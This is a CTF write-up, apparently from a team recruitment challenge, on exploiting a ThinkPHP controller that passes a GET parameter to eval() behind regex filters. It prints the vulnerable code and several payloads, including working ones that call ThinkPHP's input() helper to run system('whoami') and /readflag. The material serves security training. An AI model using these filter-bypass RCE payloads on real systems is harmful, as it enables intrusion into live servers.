【web】一道TimelineSec团队入队题

考点

源码泄露

代码审计

preg_match绕过

前置知识

thinkphp助手函数

助手函数

助手函数对常用的函数进行了封装,(可以理解别名,但不能完全这么理解)大概如下几种。

  • app
  • url
  • input
  • redirect
  • validate
  • cookie
  • env

这里主要讲 input

input 有点类似与 $_GET $_POST

语法格式

1
input('请求类型.]参数名[/变量修饰符]', '默认值', '过滤方法');

获取某个请求类型的所有请求参数

1
2
3
4
5
6
7
8
9
// 获取get请求类型的所有参数及其参数值
// 返回值:一维数组
// 键名:参数名,键值:参数值
$array = input('get.');

// 获取post请求类型的所有参数及其参数值
// 返回值:一维数组
// 键名:参数名,键值:参数值
$array = input('post.');

获取某个请求参数的值

1
2
// 获取任何请求类型的name参数值
$name = input('name');

变量修饰符

1
2
// 获取指定参数的值并将转为数字
$id = input('id/d');

参数默认值

1
2
3
// 获取指定参数的值 没有获取到将返回默认值
// 示例:如果id参数不存在,返回 666
$id = input('id', 666);

过滤方法

1
2
// 获取指定参数的值再经过intval函数进行过滤
$id = input('id','', 'intval');

可用input 这个助手函数绕过正则对$_GET/$_POST等关键字过滤。

解题过程

打开

image-20210924123705764

报了403,紧接着扫扫目录。

image-20210924123943719

发现源码泄露,down下来。

image-20210924124137001

代码审计

通过把代码放到Seay进行自动审计,得到结果。

image-20210924154348662

其他都是thinkphp框架的环境,这里直接开始审计第一个。

路径:/app/controller/Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$white_fun = array(
'print',
);

if(isset($_GET['code'])){
$code = $_GET['code'];
if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
foreach ($matches1[1] as $value) {
echo $value.'</br>';
if (function_exists($value) && ! in_array($value, $white_fun)) {
echo '加把劲~';
exit;
}
}
}
if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(evala)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
echo '收手吧阿祖';
exit;
}else{
//var_dump($code);
eval($code);
}
}else{
return '就挺秃然的。';
}
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

这里的路由规则看不太懂,但是不影响做题,直接访问 /public/ 这个路径就能执行到上面代码

127.0.0.1:9999/public/

分析

要执行到eval($code),需要经过两个条件

第一个

1
2
3
4
5
6
7
8
9
if(preg_match_all('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i', $code, $matches1)) {
foreach ($matches1[1] as $value) {
echo $value.'</br>';
if (function_exists($value) && ! in_array($value, $white_fun)) {
echo '加把劲~';
exit;
}
}
}

分析:

正则会匹配$_GET[‘code’] 接收的值,然后会通过函数 function_exists()判断 ,如果给定的函数已经被定义就返回true,当接收的值是一个被定义的函数名并且这个函数名又不在$white_fun数组中,程序就会终止。但是我发现当我当在函数名两边加上单引号,就不会被匹配到,并且还能执行,比如assert(); 这样会被匹配到,变成 ‘assert’()就不会,通过在本地测试,’assert’()能够执行。

第二个

1
2
3
4
5
6
7
if(preg_match('/(new)|(dump)|(content)|(f)|(php)|(base)|(evala)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i', $code)) {
echo '收手吧阿祖';
exit;
}else{
//var_dump($code);
eval($code);
}

即便是绕过了第一个正则,很多函数还能被ban了,自己尝试了8进制编码绕过,但是由于过滤了双引号,不能执行成功,php编码函数绕过,大部分都被过滤,找到一个bzdecompress,但是需要开启bz2,默认是不开启,放弃了,还有就是通过数组,数组可以绕过过以上两个条件,但是最终值为 Array,显然达不到我想要的效果,最终问了出题师傅,提示了thinkphp的助手函数。助手函数,找到一个 input的助手函数,功能类似于 $_GET['name'] ,前者比后者强大,前者所有方式传参都能接收,比如 $name = input('name');,GET、POST等都能传进来。

构造payload

在构造payload的时候,我思路太狭窄了。

当时构造的是

1
2
3
4
5
6
?code='input'('name');&name=eval("phpinfo();");
?code='input'('name');&name=eval("phpinfo()");
?code='input'('name');&name=@eval(base64_decode($_GET[z0]));&z0=cGhwaW5mbygpOw==
?code='input'('name');&name=@eval(base64_decode($_GET[z0]));&z0=InBocGluZm8oKTsi
?code='input'('name');&name=assert("phpinfo();");
?code='input'('name');&name=`phpinfo();`

发现没有回显,后来经过大师傅指点,这样传进去根本只是个字符串

1
2
?code='input'('name');&name=eval("phpinfo();");
我以为上边会执行 eval("phpinfo();"); 但其实只是个字符串,感觉确实有点绕,只需要记住,eval只能执行当前传入的字符串一次。eval('input'('name');) 等价于 input('name')

最后实在想不出来什么招,就问了出题师傅payload。

1
/public/?code=((%27input%27)(%27aun%27))((%27input%27)(%27cmd%27));&aun=system&cmd=whoami

看到这个payload,我大吃一惊,我咋就没想到。

于是自己也构造了一个payload

1
?code='input'('cmd')('input'('value'));&cmd=system&value=whoami

也可以执行。

拿 flag 的payload

1
?code='input'('cmd')('input'('value'));&cmd=system&value=/readflag

总结

我太菜了。